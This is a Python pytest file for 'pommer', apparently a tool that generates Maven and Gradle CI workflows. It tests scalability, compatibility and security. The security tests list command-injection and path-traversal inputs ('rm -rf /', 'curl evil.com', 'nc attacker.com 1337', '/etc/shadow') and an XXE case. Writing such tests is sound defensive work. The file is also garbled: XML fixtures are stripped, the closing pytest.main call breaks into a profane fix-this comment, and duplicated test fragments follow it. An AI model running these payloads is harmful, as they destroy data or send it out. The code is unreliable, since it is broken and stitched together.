"""Fixture to provide mock filesystem operations"""
with patch('os.path.exists'), \
patch('os.makedirs'), \
patch('os.chmod'), \
patch('builtins.open', mock_open()) as mock_file:
yield mock_file
class TestPerformanceAndScalability:
"""Test performance and scalability aspects"""
def test_large_number_of_projects(self):
"""Test handling a large number of projects"""
# Create 100 mock project infos
large_project_list = []
for i in range(100):
large_project_list.append({
"artifact_id": f"project-{i}",
"name": f"Project {i}",
"java_version": str(8 + (i % 10)), # Mix of Java 8-17
"pom_path": f"module{i}/pom.xml",
"build_system": "maven",
"default_goal": None
})
# Should handle large lists without issues
workflow = pommer.generate_maven_workflow(large_project_list)
assert workflow is not None
# Check that all projects are included
for i in range(100):
assert f"project-{i}" in workflow
# Should use the highest Java version (17)
assert "JDK 17" in workflow
def test_deeply_nested_directory_structure(self):
"""Test handling deeply nested directory structures"""
temp_dir = tempfile.mkdtemp()
# Create deeply nested structure (10 levels deep)
current_dir = temp_dir
for i in range(10):
current_dir = os.path.join(current_dir, f"level{i}")
os.makedirs(current_dir)
# Create POM at the deepest level
deep_pom_path = os.path.join(current_dir, "pom.xml")
with open(deep_pom_path, 'w') as f:
f.write("""
deep-project
""")
# Should find the deeply nested POM
found_poms = pommer.find_pom_files(temp_dir)
assert len(found_poms) == 1
assert deep_pom_path in found_poms
# Should parse successfully
result = pommer.parse_pom_xml(deep_pom_path)
assert result is not None
assert result['artifact_id'] == 'deep-project'
shutil.rmtree(temp_dir)
class TestSecurityConsiderations:
"""Test security-related aspects"""
def test_xml_external_entity_prevention(self):
"""Test prevention of XML External Entity (XXE) attacks"""
xxe_pom = '''
]>
xxe-test
&xxe;
'''
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(xxe_pom)
f.flush()
# Should handle XXE attempts safely
result = pommer.parse_pom_xml(f.name)
# Either parse safely (ignoring external entities) or fail gracefully
assert result is None or (result is not None and '/etc/passwd' not in str(result))
os.unlink(f.name)
def test_command_injection_prevention(self):
"""Test prevention of command injection through malicious project names"""
malicious_names = [
"project; rm -rf /",
"project && curl evil.com",
"project | nc attacker.com 1337",
"project`whoami`",
"project$(id)",
"project'; DROP TABLE users; --"
]
for malicious_name in malicious_names:
project_info = [{
"artifact_id": malicious_name,
"name": malicious_name,
"java_version": "11",
"pom_path": "pom.xml",
"build_system": "maven"
}]
# Generate workflow - should not contain raw malicious commands
workflow = pommer.generate_maven_workflow(project_info)
script = pommer.generate_build_script(project_info)
# Basic check - malicious chars should be escaped or contained
assert workflow is not None
assert script is not None
# The malicious name should be present but properly quoted/escaped
assert malicious_name in workflow
assert malicious_name in script
def test_path_injection_prevention(self):
"""Test prevention of path injection attacks"""
malicious_paths = [
"../../../etc/passwd",
"..\\..\\windows\\system32",
"/etc/shadow; cat /etc/passwd",
"pom.xml && rm -rf /",
"build.gradle | curl evil.com"
]
for malicious_path in malicious_paths:
# Should handle malicious paths safely
result_pom = pommer.parse_pom_xml(malicious_path)
result_gradle = pommer.parse_gradle_file(malicious_path)
# Should either return None or handle safely
assert result_pom is None # Non-existent files
assert result_gradle is None
class TestCompatibilityAndStandards:
"""Test compatibility with various standards and versions"""
def test_maven_pom_versions_compatibility(self):
"""Test compatibility with different POM model versions"""
pom_versions = [
"4.0.0",
"4.0.1",
"4.1.0"
]
for version in pom_versions:
pom_content = f'''
{version}
version-test-{version.replace(".", "-")}
'''
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(pom_content)
f.flush()
result = pommer.parse_pom_xml(f.name)
assert result is not None
assert f'version-test-{version.replace(".", "-")}' in result['artifact_id']
os.unlink(f.name)
def test_gradle_wrapper_versions(self):
"""Test handling of different Gradle wrapper versions"""
wrapper_versions = ["7.6", "8.0", "8.4", "8.5"]
for version in wrapper_versions:
temp_dir = tempfile.mkdtemp()
# Create gradle files
gradle_path = os.path.join(temp_dir, "build.gradle")
gradlew_path = os.path.join(temp_dir, "gradlew")
wrapper_props_dir = os.path.join(temp_dir, "gradle", "wrapper")
os.makedirs(wrapper_props_dir)
wrapper_props_path = os.path.join(wrapper_props_dir, "gradle-wrapper.properties")
with open(gradle_path, 'w') as f:
f.write("// Test gradle file")
with open(gradlew_path, 'w') as f:
f.write("#!/bin/bash\necho 'Gradle wrapper'")
with open(wrapper_props_path, 'w') as f:
f.write(f"distributionUrl=https\\://services.gradle.org/distributions/gradle-{version}-bin.zip")
project_info = [{
"artifact_id": f"gradle-{version}",
"name": f"Gradle {version}",
"java_version": "17",
"gradle_path": gradle_path,
"build_system": "gradle"
}]
# Should handle different wrapper versions
workflow = pommer.generate_gradle_workflow(project_info)
assert workflow is not None
assert "./gradlew" in workflow
shutil.rmtree(temp_dir)
def test_java_version_compatibility(self):
"""Test compatibility with various Java versions"""
java_versions = ["8", "11", "17", "21"]
for java_ver in java_versions:
pom_content = f'''
java-{java_ver}-test
{java_ver}
'''
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(pom_content)
f.flush()
result = pommer.parse_pom_xml(f.name)
assert result is not None
assert result['java_version'] == java_ver
# Test workflow generation
workflow = pommer.generate_maven_workflow([result])
assert f"JDK {java_ver}" in workflow
os.unlink(f.name)
class TestDocumentationAndUsability:
"""Test documentation-related functionality and usability"""
def test_help_message_accessibility(self):
"""Test that help messages are accessible and informative"""
with patch('sys.argv', ['pommer.py', '--help']):
with pytest.raises(SystemExit) as exc_info:
pommer.main()
# Help should exit with code 0
assert exc_info.value.code == 0
def test_error_message_clarity(self):
"""Test that error messages are clear and helpful"""
with patch('builtins.print') as mock_print:
# Test with non-existent directory
with patch('pommer.find_pom_files', return_value=[]):
with patch('pommer.find_gradle_files', return_value=[]):
with patch('sys.argv', ['pommer.py', '--dir', '/nonexistent']):
try:
pommer.main()
except SystemExit:
pass
# Should print helpful error message
printed_args = [call.args[0] for call in mock_print.call_args_list]
error_messages = [msg for msg in printed_args if 'found' in msg.lower()]
assert len(error_messages) > 0
def test_verbose_output_information(self):
"""Test that verbose output provides useful information"""
with patch('builtins.print') as mock_print:
temp_dir = tempfile.mkdtemp()
# Create a simple POM
pom_path = os.path.join(temp_dir, 'pom.xml')
with open(pom_path, 'w') as f:
f.write('''
verbose-test
''')
with patch('sys.argv', ['pommer.py', '--dir', temp_dir]):
with patch('os.makedirs'), patch('os.chmod'):
try:
pommer.main()
except SystemExit:
pass
# Should print informative messages
printed_messages = [call.args[0] for call in mock_print.call_args_list]
assert any('Found' in msg for msg in printed_messages)
assert any('Parsing' in msg for msg in printed_messages)
assert any('generated' in msg for msg in printed_messages)
shutil.rmtree(temp_dir)
class TestRegressionPrevention:
"""Test cases to prevent regressions in known issues"""
def test_empty_artifact_id_handling(self):
"""Regression test: Handle empty or missing artifact IDs"""
empty_artifact_pom = '''
com.test
'''
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
f.write(empty_artifact_pom)
f.flush()
result = pommer.parse_pom_xml(f.name)
# Should handle gracefully - either None or with fallback
if result is not None:
assert result['artifact_id'] == '' or len(result['artifact_id']) > 0
os.unlink(f.name)
def test_special_characters_in_paths(self):
"""Regression test: Handle special characters in file paths"""
special_chars = ["spaces in path", "path-with-dashes", "path_with_underscores", "path.with.dots"]
for special_name in special_chars:
temp_dir = tempfile.mkdtemp()
special_dir = os.path.join(temp_dir, special_name)
os.makedirs(special_dir)
pom_path = os.path.join(special_dir, 'pom.xml')
with open(pom_path, 'w') as f:
f.write(f'''
special-chars-test
''')
# Should handle special characters in paths
result = pommer.parse_pom_xml(pom_path)
assert result is not None
assert result['artifact_id'] == 'special-chars-test'
shutil.rmtree(temp_dir)
def test_case_sensitivity_handling(self):
"""Regression test: Handle case sensitivity correctly"""
mixed_case_gradle = '''
GROUP = "com.test.UPPERCASE"
Version = "1.0.0"
sourceCompatibility = JavaVersion.VERSION_11
'''
with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f:
f.write(mixed_case_gradle)
f.flush()
result = pommer.parse_gradle_file(f.name)
assert result is not None
# Should handle case variations
assert result['java_version'] == '11'
os.unlink(f.name)
def test_workflow_yaml_validity(self):
"""Regression test: Ensure generated YAML is valid"""
import yaml
test_project = [{
"artifact_id": "yaml-test",
"name": "YAML Test",
"java_version": "17",
"pom_path": "pom.xml",
"build_system": "maven"
}]
workflow = pommer.generate_maven_workflow(test_project)
# Should be valid YAML
try:
parsed_yaml = yaml.safe_load(workflow)
assert parsed_yaml is not None
assert 'name' in parsed_yaml
assert 'jobs' in parsed_yaml
except yaml.YAMLError:
pytest.fail("Generated workflow is not valid YAML")
if __name__ == "__main__":
# Run the tests with coverage
pytest.main([
__file__,
"-v",
"--cov=pommer",
"--cov-report=html",
"--cov-report=term-missing",
"--cov-fail-under=90", # Require 90% coverage
"-x", # Stop on first failure for faster feedback
"--tb=short" # Shorter tracebacks
## This here (what you see), is very error ridden. Please fix this shit!
]) ;""" pommer.generate_build_script(maven_projects)
assert script is not None
assert "mvn" in script
assert "Maven Project" in script
assert "pom.xml" in script
"""
def test_generate_build_script_gradle_only(self):
"""Test build script generation for Gradle-only projects"""
temp_dir = tempfile.mkdtemp()
gradle_path = os.path.join(temp_dir, "build.gradle")
gradlew_path = os.path.join(temp_dir, "gradlew")
# Create files
with open(gradle_path, 'w') as f:
f.write("// test")
with open(gradlew_path, 'w') as f:
f.write("#!/bin/bash")
gradle_projects = [{
"name": "Gradle Project",
"gradle_path": gradle_path,
"build_system": "gradle"
}]
script = pommer.generate_build_script(gradle_projects)
assert script is not None
assert "gradlew" in script
assert "Gradle Project" in script
shutil.rmtree(temp_dir)
def test_generate_build_script_mixed_projects(self):
"""Test build script generation for mixed Maven and Gradle projects"""
temp_dir = tempfile.mkdtemp()
gradle_path = os.path.join(temp_dir, "build.gradle")
with open(gradle_path, 'w') as f:
f.write("// test")
mixed_projects = [
{
"name": "Maven Project",
"pom_path": "pom.xml",
"build_system": "maven"
},
{
"name": "Gradle Project",
"gradle_path": gradle_path,
"build_system": "gradle"
}
]
"""Test build script generation functionality"""
def test_generate_build_script_maven_only(self):
"""Test build script generation for Maven-only projects"""
maven_projects = [{
"name": "Maven Project",
"pom_path": "pom.xml",
"build_system": "maven"
}]
script = pommer.generate_build_script(maven_projects)
assert script is not None
assert "mvn" in script
assert "Maven Project" in script
assert "pom.xml" in script
def test_generate_build_script_gradle_only(self):
"""Test build script generation for Gradle-only projects"""
temp_dir = tempfile.mkdtemp()
gradle_path = os.path.join(temp_dir, "build.gradle")
gradlew_path = os.path.join(temp_dir, "gradlew")
# Create files
with open(gradle_path, 'w') as f:
f.write("// test")
with open(gradlew_path, 'w') as f:
f.write("#!/bin/bash")
gradle_projects = [{
"name": "Gradle Project",
"gradle_path": gradle_path,
"build_system": "gradle"
}]
script = pommer.generate_build_script(gradle_projects)
assert script is not None
assert "gradlew" in script
assert "Gradle Project" in script
shutil.rmtree(temp_dir)
def test_generate_build_script_mixed_projects(self):
"""Test build script generation for mixed Maven and Gradle projects"""
temp_dir = tempfile.mkdtemp()
gradle_path = os.path.join(temp_dir, "build.gradle")
with open(gradle_path, 'w') as f:
f.write("// test")
mixed_projects = [
{
"name": "Maven Project",
"pom_path": "pom.xml",
"build_system": "maven"
},
{
"name": "Gradle Project",
"gradle_path": gradle_path,
"build_system": "gradle"
}
]
script = pommer.generate_build_script(mixed_projects)
assert script is not None
assert "mvn" in script
assert "gradle" in script
assert "Maven Project" in script
assert "Gradle Project" in script
shutil.rmtree(temp_dir)
def test_generate_build_script_empty_projects(self):
"""Test build script generation with empty project list"""
script = pommer.generate_build_script([])
assert script is not None
assert "Universal build script" in script